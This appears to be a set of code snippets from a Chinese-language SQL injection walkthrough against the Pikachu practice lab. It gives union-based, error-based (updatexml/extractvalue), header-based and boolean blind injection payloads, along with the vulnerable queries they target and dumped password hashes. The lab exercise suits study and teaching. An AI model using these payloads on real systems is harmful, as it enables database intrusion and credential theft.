1
2
3
4
5
6
SELECT DATABASE();	--查看当前使用数据库
SELECT VERSION();	--版本
SELECT USER();		--查看当前登陆数据库用户
select @@datadir;	--数据路径
select @@basedir;	--mysql安装路径
select @@version_compile_os;	--mysql安装的所在os系统

1
1 and 1=1

1
2
3
4
5
6
7
8
9
1 or 1=1

1 union select 1,database()#

1 union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database()#

1 union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name=0x7573657273# --0x7573657273 hex(users)

1 union select group_concat(user_id,first_name,last_name,user),group_concat(password) COLLATE utf8_general_ci from users#

1
2
'
1' and '1'='1

1
select username,id,email from member where username like '%1%’ and 1=1 and '%'='%'

1
2
3
4
5
6
7
8
9
'
xxx%' and 1=1 and '%'='
xxx%' and 1=1 #
'
xxx%' or 1=1 #
'
xxx%' and 1=1 order by 13 #
'
x%' union select 1,2,database() #获取数据库名

1
select id,email from member where username=('$name')

1
2
3
4
5
6
7
8
'
lili') and 1=1 #
'
lili') or 1=1 #
'
lili') and 1=1 order by 2 #
'
lili') union select 1,database() #

1
insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')

1
2
3
4
5
6
UpdateXML(xml_target,xpath_expr,new_xml)

#此函数将xml_target中用xpath_expr路径匹配到XML片段用new_xml替换，然后返回更改后的XML。
#xml_target被替换的部分与xpath_expr用户提供的XPath表达式匹配。
#如果找不到表达式匹配 xpath_expr项，或者找到多个匹配项，则该函数返回原始 xml_targetXML片段。
#所有三个参数都应为字符串。

1
2
ExtractValue(xml_frag, xpath_expr)
#此函数是返回在xml_frag用xpath_expr路径匹配到的XML片段。

1
2
3
concat(input_string1, input_string2 [, input_stringN ])
#使用CONCAT()函数可将两个或多个字符串连接成一个字符串
#如果传递非字符串值，CONCAT()函数将在连接之前将这些值隐式转换为字符串。

1
2
'
1' or updatexml(1,concat('~',database()),0) or' # '~'=0x7e

1
2
'
1' or updatexml(1,concat('~',version()),0) or'

1
2
3
4
5
'
# 两种方式第一个and不能改为or
1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),0) or'
#
1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'))) or'

1
2
3
4
'
1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users')),0) or'
#
1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'))) or'

1
2
3
4
'
1' and updatexml(1,concat('~',(select group_concat(username,'@',password) from pikachu.users)),0) or'
#
1' and extractvalue(1,concat('~',(select group_concat(username,'@',password) from pikachu.users))) or'

1
2
3
4
5
6
7
'
1' and updatexml(1,concat(0x7e,substring((select group_concat(username,'@',password)  from pikachu.users),1,30)),0) or'
'
#01-30#~admin@e10adc3949ba59abbe56e057
#31-60#~f20f883e,pikachu@670b14728ad99
#61-90#~02aecba32e22fa4f6bd,test@e99a1
#91-  #~8c428cb38d5f260853678922e03

1
delete from message where id={$_GET['id']}

1
2
//这里把http的头信息存到数据库里面去了，但是存进去之前没有进行转义，导致SQL注入漏洞
insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')

1
2
'
1'or updatexml(1,concat(0x7e,database()),1) or'

1
2
3
4
5
6
7
8
9
12
#success
12'
'
#error
'
12'+and+'1'='1
'
#success

1
2
3
4
5
6
7
8
9
'
12'+and+length(database())=7--+用#注释报错，改为--+
#确定数据库名长度为7
'
12'+and+ascii(substr(database(),1,1))>=48--+
'
12'+and+ascii(substr(database(),1,1))>=65--+
'
12'+and+ascii(substr(database(),1,1))>=97--+

1
2
'
12'+and+length((select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()))>=3--+